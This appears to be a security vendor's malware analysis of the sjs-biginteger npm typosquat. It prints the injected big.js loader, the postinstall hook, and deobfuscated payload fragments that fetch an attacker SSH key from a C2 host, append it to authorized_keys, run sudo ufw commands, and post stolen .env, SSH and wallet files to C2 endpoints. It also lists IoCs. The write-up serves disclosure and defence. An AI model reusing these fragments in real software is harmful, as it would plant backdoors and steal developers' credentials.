Malicious sjs-biginteger Implants SSH Backdoor
Table of Contents
TL;DR
sjs-biginteger typosquats big.js on npm. Throwaway account vanes.s.p.orit.a published it on April 7, 2026. The package carries a five-line loader injected into big.js at line 605 and pulls in a malicious dependency sjs-lint-build1 whose postinstall hook runs the same payload. Either trigger fetches the attacker’s SSH public key from a C2 server, appends it to ~/.ssh/authorized_keys, opens firewall port 22, and then exfiltrates SSH keys, .env files, Solana wallet files (id.json, config.toml), and system fingerprints to two Vercel-hosted C2 domains impersonating Cloudflare.
Impact:
- Implants an SSH backdoor by injecting the attacker’s public key into
~/.ssh/authorized_keys - Opens firewall port 22 via
sudo ufw allow 22/tcpand enables the firewall - Runs
sudo chown -Rto fix SSH directory permissions - Exfiltrates existing SSH keys,
.envfiles,id.json(Solana wallets), andconfig.tomlfiles - Harvests environment variables (
USER,USERNAME,LOGNAME,HOME) - Fingerprints the system (public IP, platform, CPU info, username)
- Targets Linux, macOS, FreeBSD, OpenBSD, SunOS, AIX, and Windows
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | [email protected], [email protected] |
| Dependency | [email protected] |
| Maintainer | vanes.s.p.orit.a <[email protected]> |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/ssh-key |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/scan-patterns |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/block-patterns |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/v1 |
| C2 | hxxps://cloudflarefirewall[.]vercel[.]app/api/v1 |
| Postinstall | node test.js (in sjs-lint-build1) |
| SHA-256 | 55bee3abfa26a78989baae1053a778d3b4a984d5451621a851211a45fe2a82b9 ([email protected]) |
| SHA-256 | 02a00a158ceedaaf7a4bf53002a74d60339d4668d463831fe218905816b72e07 ([email protected]) |
| SHA-256 | 9d2037fc0ad9ada672d30e17a9496cbde392c5093a9fde0b8f16d28e2e0c50c7 ([email protected]) |
| Backdoor | Attacker’s SSH key appended to ~/.ssh/authorized_keys |
| Firewall | sudo ufw allow 22/tcp, sudo ufw enable |
| Attacker SSH key | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY [email protected] |
| Attribution | Likely linked to the dev-protocol / Polymarket bot campaign (StepSecurity, Feb 2026) |
Analysis
Package Overview
Two versions landed on npm within 40 minutes on April 7, 2026: 5.0.5 at 19:32 UTC and 5.0.6 at 20:13 UTC. The publisher vanes.s.p.orit.a owns two packages total: sjs-biginteger and sjs-lint-build1.
The attacker copied big.js metadata verbatim: author name (Michael Mclaughlin), repository URL, homepage, bug tracker, and funding links:
"author": { "name": "Michael Mclaughlin",},"repository": { "type": "git", "url": "https://github.com/MikeMcl/big.js.git"}The npm registry shows the real publisher:
npm view sjs-biginteger maintainers# vanes.s.p.orit.a <[email protected]>We downloaded [email protected] from the npm registry and diffed it against the malicious file. Past the whitespace and indentation churn (consistent with a formatter pass), only one change is semantic: five lines at line 605 of the top-level IIFE body.
// diff legit-7.0.1/package/big.js sjs-biginteger-5.0.6/package/big.js603a605,609> try {> const doc = require("sjs-lint-build1");> doc.from_str().then(e => { }).catch(e => { })> } catch (error) {> }This injection runs at import time. It gives the attacker a second execution trigger independent of the postinstall hook: any application that later does require("sjs-biginteger") fires the payload again.
Diffing [email protected] against 5.0.6 (diff -rq v5.0.5/package v5.0.6/package), big.js, big.mjs, LICENCE.md, and README.md are byte-identical across both versions. Only package.json changed:
"sjs-lint-build1": "file:../module-npm-doc-build-v2.1""sjs-lint-build1": "^1.0.4"5.0.5 referenced the payload dependency via a local filesystem path (a leftover from the attacker’s development environment), so it failed to resolve on any victim machine. 5.0.6, published 41 minutes later, is the operative version.
Execution Trigger
sjs-biginteger declares a single dependency:
"dependencies": { "sjs-lint-build1": "^1.0.4"}sjs-lint-build1 appeared one minute before sjs-biginteger, from the same account. Its package.json:
{ "name": "sjs-lint-build1", "version": "1.0.4", "main": "index.js", "scripts": { "postinstall": "node test.js" }, "dependencies": { "axios": "^1.7.0", "child_process": "^1.0.2", "form-data": "^4.0.0", "os": "^0.1.2" }}npm install sjs-biginteger resolves sjs-lint-build1, installs it, and fires the postinstall hook: node test.js. The 7.2 KB test.js imports from index.js (58.4 KB) and calls the exported from_str_2 function:
// sjs-lint-build1/test.js (deobfuscated structure)const { from_str_2 } = require('.');async function main() { try { await from_str_2(); } catch (e) {}}main();index.js exports two entry points, both triggering the same payload infrastructure with slightly different scopes:
| Export | Caller | Scope |
|---|---|---|
from_str_2 | test.js postinstall | Broad home-directory scan driven by C2-supplied patterns |
from_str | big.js IIFE at require() time | Targeted scan of process.cwd() plus the same broad scan |
The runtime path (from_str) adds a pre-step that walks the current working directory for id.json, config.toml, Config.toml, env, and .env before the broad scan runs. This catches developers who import the package during local development. Whatever project they are working on, its .env goes out first.
Obfuscation
Both files use a custom base91-like string encoding with 35 distinct shuffled alphabets. Each function body embeds its own alphabet and decoder; no single key decodes all strings. The lookup table in index.js holds 299 encoded entries resolved through multiple decoder functions at runtime.
Sample obfuscation:
// sjs-lint-build1/index.js (original obfuscated form)const _uFTLb = [0x0, 0x1, 0x8, 0xff, "length", "undefined", ...];function HRKFas(PzH00eY) { var dsvyP2S = "wYUPLTtrOFHDKXAfQZqoWBJlmvM@*$GVa5kb#h+n\"eg7u/2>..."; // base91 decode using shuffled alphabet}We replayed the basE91 decoder in Python against the shared lookup table, pairing each call site with the 91-character alphabet nearest to it in source order. About a hundred unique entries decode to meaningful identifiers: URLs, shell commands, property names, file paths. That is enough to reconstruct the full attack surface without running a line of the package.
Malicious Payload
The payload in index.js imports six Node.js modules:
// sjs-lint-build1/index.js (extracted require() calls)require('axios');require('child_process');require('form-data');require('fs');require('os');require('path');Phase 1: C2 Configuration Fetch
Three parallel fetch() requests fire at startup:
// sjs-lint-build1/index.js (deobfuscated)const [r1, r2, r3] = await Promise.all([ fetch('https://cloudflareinsights.vercel.app/api/ssh-key'), fetch('https://cloudflareinsights.vercel.app/api/scan-patterns'), fetch('https://cloudflareinsights.vercel.app/api/block-patterns'),]);const [{ msg: sshKey }, { scanPatterns }, { blockPatterns }] = await Promise.all([r1.json(), r2.json(), r3.json()]);The msg field from /api/ssh-key carries the attacker’s public SSH key. scanPatterns and blockPatterns control which directories to enumerate and which to skip. The payload fetches this configuration from C2 at runtime, so the attacker can retarget victims without republishing the package. A new exfiltration pattern takes effect on the next install.
During analysis on 2026-04-09 the endpoint was live and returned:
{ "msg": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY [email protected]" }The key comment [email protected] is deliberate social engineering. A Solana developer inspecting ~/.ssh/authorized_keys during a routine audit may mistake it for a Polymarket support integration and leave it in place. That is the profile the operator wants.
Phase 2: SSH Backdoor Implantation
The payload checks for ~/.ssh, creates it if missing, and appends the attacker’s key to authorized_keys:
// Decoded strings from index.js showing SSH backdoor logic[0x9b] HOME[0x9c] /.ssh[0x9d] existsSync[0x9e] mkdirSync[0x9f] mode[0xa2] authorized_keys[0xa6] appendFileSync[0xa7] sudo chown -R[0xa8] sudo ufw enable[0xab] sudo ufw allow 22/tcpThe code path:
- Read
process.env.HOMEand append/.ssh - Create the directory with
fs.mkdirSyncif it doesn’t exist (with appropriate mode) - Append the attacker’s SSH key (fetched from C2) to
authorized_keysviafs.appendFileSync - Run
sudo chown -Rto fix ownership of the SSH directory - Run
sudo ufw allow 22/tcpto open the SSH port through the firewall - Run
sudo ufw enableto activate the firewall rules
CI/CD environments and Docker containers run as root or with passwordless sudo. If those sudo calls succeed, the attacker has persistent SSH access.
Phase 3: Data Collection
The payload branches on process.platform, covering six Unix variants (linux, darwin, freebsd, openbsd, sunos, aix) and Windows:
// Windows-specific decoded strings[0x84] wmic logicaldisk get name[0x8b] ^[A-Z]:$[0x90] C:\Users\On Windows, wmic logicaldisk get name enumerates drives, then the payload walks C:\Users\ for credential files. On Unix, os.homedir() sets the starting point.
Targeted files:
| Target | Decoded String |
|---|---|
| SSH keys | /.ssh directory contents |
| Environment files | .env |
| Solana wallet | id.json |
| Application config | config.toml, Config.toml |
| Env variables | USER, USERNAME, LOGNAME, HOME |
| System info | os.homedir(), os.cpus(), public IP |
The payload walks directories with fs.readdirSync (withFileTypes) and path.join, following the scanPatterns and blockPatterns from the C2.
Phase 4: Exfiltration
The payload uploads collected files via axios.post to two endpoints:
// Decoded exfiltration strings[0xc4] basename[0xc5] file.bin[0xc6] post[0xc8] Content-Type[0xc9] application/octet-stream[0xca] Content-Disposition[0xcb] attachment; filename="[0xd7] https://cloudflarefirewall.vercel.app/api/v1[0x124] https://cloudflareinsights.vercel.app/api/v1Each file goes out as binary application/octet-stream with a Content-Disposition header. Each upload also carries a metadata block:
// Exfiltration metadata fields[0xf8] username[0x100] created[0x101] publicIp[0x102] platform[0xff] stringify[0xfe] metaThe payload JSON-serializes the username, public IP, platform, and a timestamp, then attaches that block to every upload. Two C2 domains give the attacker redundancy: cloudflareinsights[.]vercel[.]app and cloudflarefirewall[.]vercel[.]app.
C2 Infrastructure
Two Vercel-hosted domains, both named to pass casual inspection of network logs:
| Domain | Role |
|---|---|
cloudflareinsights[.]vercel[.]app | Configuration delivery (/api/ssh-key, /api/scan-patterns, /api/block-patterns) and data exfiltration (/api/v1) |
cloudflarefirewall[.]vercel[.]app | Secondary exfiltration endpoint (/api/v1) |
Vercel’s free tier requires no identity verification, making it a common choice for throwaway C2 infrastructure. The cloudflareinsights and cloudflarefirewall names mimic legitimate Cloudflare products.
Attribution
The sjs-biginteger behaviour overlaps heavily with the dev-protocol / Polymarket trading bot supply chain attack that StepSecurity documented on 2026-02-26. The indicators below point to a follow-on wave run by the same operator or a close collaborator. Static artefacts alone cannot prove operator identity.
| Indicator | This campaign (sjs-biginteger, 2026-04-07) | StepSecurity wave (2026-02-26) |
|---|---|---|
| Typosquat target | big.js | big.js (ts-bign), bignumber.js (big-nunber) |
| Dropper → payload | sjs-biginteger → sjs-lint-build1 | ts-bign → lint-builder, big-nunber → levex-refa |
| Execution trigger | postinstall: node test.js | postinstall: node test.js |
| Entry export | from_str() | from_str() |
| SSH backdoor sequence | sudo chown -R, sudo ufw enable, sudo ufw allow 22/tcp | Identical |
| Targeted files | id.json, config.toml, Config.toml, .env, env | id.json, config.toml, Config.toml, .env, *.env |
| Commander C2 | cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns,ssh-key} | cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns} |
| File-exfil C2 | cloudflarefirewall[.]vercel[.]app/api/v1 | cloudflareguard[.]vercel[.]app/api/v1 |
| Exfil metadata | username prepended to file | username@localIP prepended to file |
| Persona | [email protected] in attacker SSH key comment | Delivered via “Polymarket copytrading bot” GitHub repos |
The commander host cloudflareinsights[.]vercel[.]app is reused byte-for-byte across both waves, and every endpoint path (/api/v1, /api/scan-patterns, /api/block-patterns) matches. The file-exfil hostname rotated (cloudflareguard → cloudflarefirewall) but kept the same naming pattern: a Vercel subdomain impersonating a Cloudflare product.
Two things changed between waves:
- Delivery vector. The February wave was seeded through the hijacked
dev-protocolGitHub organisation; this one is a direct npm typosquat published by a throwaway account. This fits a predictable evolution: after a vector burns, switch channels but keep the payload. - Obfuscator. The February samples used a J2TEAM-style obfuscator;
sjs-lint-build1uses a scope-nested basE91 scheme with 35 distinct alphabets inindex.js, each scoped to its own function body. This likely evades signatures trained on the earlier samples.
The sjs-lint-build1 package name is also notable: it echoes the earlier lint-builder payload name. Package naming is not being randomised between waves — the operator appears to be iterating on a convention.
Hunting pivot. Any package that contacts cloudflareinsights[.]vercel[.]app should be treated as part of this cluster regardless of its npm metadata. The [email protected] SSH key comment is a durable host-based IoC worth alerting on across Solana developer fleets.
Dynamic Analysis
We run eBPF-based dynamic analysis during sandboxed npm install, capturing syscall events and network connections. Sandbox execution of [email protected] confirmed both behaviors found in static analysis.
Syscall Events
Two rules triggered during the postinstall hook. The process chain sh -c node test.js matches the sjs-lint-build1 postinstall script, running as root inside the sandbox container:
| analysis_id | rule | output | created_at | |
|---|---|---|---|---|
| 1 | 01KNMSKJEXTGQHBQ69YS5CCQ08 | Read ssh information | 2026-04-07T20:21:48.007131140+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh pcmdline=sh -c node test.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node test.js terminal=34816 analysis_id=01KNMSKJEXTGQHBQ69YS5CCQ08 container_id=6e24009b5c3a container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> | April 7, 2026, 8:21 PM |
| 2 | 01KNMSKJEXTGQHBQ69YS5CCQ08 | Adding ssh keys to authorized_keys | 2026-04-07T20:21:47.984674590+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node test.js terminal=34816 analysis_id=01KNMSKJEXTGQHBQ69YS5CCQ08 container_id=6e24009b5c3a container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> | April 7, 2026, 8:21 PM |
“Adding ssh keys to authorized_keys” fired at 20:21:47 UTC when node test.js opened /root/.ssh/authorized_keys via the openat syscall, confirming the appendFileSync call found in static analysis. “Read ssh information” fired 23 milliseconds later when the same process read the /root/.ssh directory for exfiltration.
Note the ordering: the payload writes the attacker’s key first, then reads existing keys. Backdoor before exfiltration.
Network Connections
The sandbox captured all outbound IP connections during the npm install lifecycle, including legitimate npm registry traffic alongside malicious C2 communication:
| created_at | analysis_id | ip_address | port | |
|---|---|---|---|---|
| 1 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 0 |
| 2 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.8.34 | 0 |
| 3 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.11.34 | 0 |
| 4 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.4.34 | 0 |
| 5 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.2.34 | 0 |
| 6 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.10.34 | 0 |
| 7 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.5.34 | 0 |
| 8 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.9.34 | 0 |
| 9 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.7.34 | 0 |
| 10 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.1.34 | 0 |
| 11 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.3.34 | 0 |
| 12 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.0.34 | 0 |
| 13 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 14 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 15 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 16 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 17 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 18 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 19 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 20 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 21 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 22 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 23 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 24 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 25 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 26 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 27 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 28 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 0 |
| 29 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.3 | 0 |
| 30 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 0 |
| 31 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.67 | 0 |
| 32 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 443 |
| 33 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 443 |
| 34 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 0 |
| 35 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.67 | 0 |
| 36 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 443 |
| 37 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 0 |
| 38 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.3 | 0 |
| 39 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 443 |
This table contains all connections during install, not just malicious traffic. npm registry resolution, DNS lookups, and package downloads generate their own connections. The 104.16.x.34 range belongs to Cloudflare, which fronts both Vercel (the C2 host) and the npm registry (registry.npmjs.org). Separating C2 traffic from legitimate npm traffic by IP alone is not possible since both route through Cloudflare. The 64.29.17.x and 216.198.79.x addresses could be DNS resolvers or additional CDN edges.
The network data does show that the install made HTTPS connections (port 443) to Cloudflare-fronted services beyond what a normal big.js install requires. A package with zero runtime network dependencies generating 15+ outbound HTTPS connections stands out. Combined with the syscall events showing SSH file access, the connection volume matches the multi-phase attack: configuration fetch, file collection, upload.
Conclusion
The authorized_keys injection, firewall manipulation, and ownership changes establish persistent remote access that survives credential rotation unless you remove the injected key. If you installed this package:
- Check
~/.ssh/authorized_keysfor unrecognized keys and remove them - Review firewall rules for unexpected port 22 allowances
- Rotate all SSH keys and credentials stored in
.env,id.json, andconfig.tomlfiles - Audit CI/CD systems where the package may have been installed with elevated privileges
References
- vet
- malware
- npm
- supply-chain
- credential-theft
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

@fairwords npm Packages Hit by Credential Worm
Three @fairwords npm packages were compromised with a self-propagating worm that harvests credentials, crypto wallets, Chrome passwords, and spreads to other packages using stolen npm tokens.

Malicious hermes-px on PyPI Steals AI Conversations
hermes-px on PyPI steals AI conversations via triple-encrypted exfiltration to Supabase, routing through a hijacked university endpoint while injecting a stolen 245KB system prompt.

Malicious @velora-dex/sdk Delivers Go RAT via npm
Version 9.4.1 of @velora-dex/sdk, a DeFi SDK with ~2,000 weekly downloads, was compromised to deliver a Go-based remote access trojan (minirat) targeting macOS developers.

prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign
A throwaway GitHub account submitted 219+ malicious pull requests in a single day, each carrying a 352-line payload that steals CI secrets, injects workflows, bypasses label gates, and scans /proc...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
